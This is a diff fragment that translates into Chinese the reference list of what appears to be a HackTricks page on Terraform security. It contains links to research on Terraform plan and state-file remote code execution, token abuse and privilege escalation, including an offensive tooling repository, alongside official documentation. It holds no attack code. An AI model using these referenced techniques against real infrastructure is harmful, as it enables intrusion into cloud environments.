 brew install terrascan
 ```
-## 参考文献
+## 参考资料
 
 - [Atlantis Security](atlantis-security.md)
 - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
@@ -366,12 +406,12 @@ brew install terrascan
 - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
 - [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
 - [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
-- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
-- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
-- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
-- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
-- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
-- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
-- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
+- [Terraform Cloud 权限](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
+- [Terraform Cloud API – 显示 workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
+- [AWS provider 配置](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
+- [AWS CLI – OIDC 角色假设](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
+- [GCP provider – 在 Terraform Cloud 中使用](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
+- [Terraform – 敏感变量](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
+- [Snyk Labs – Gitflops：Terraform 自动化平台的危险](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
 
 {{#include ../banners/hacktricks-training.md}}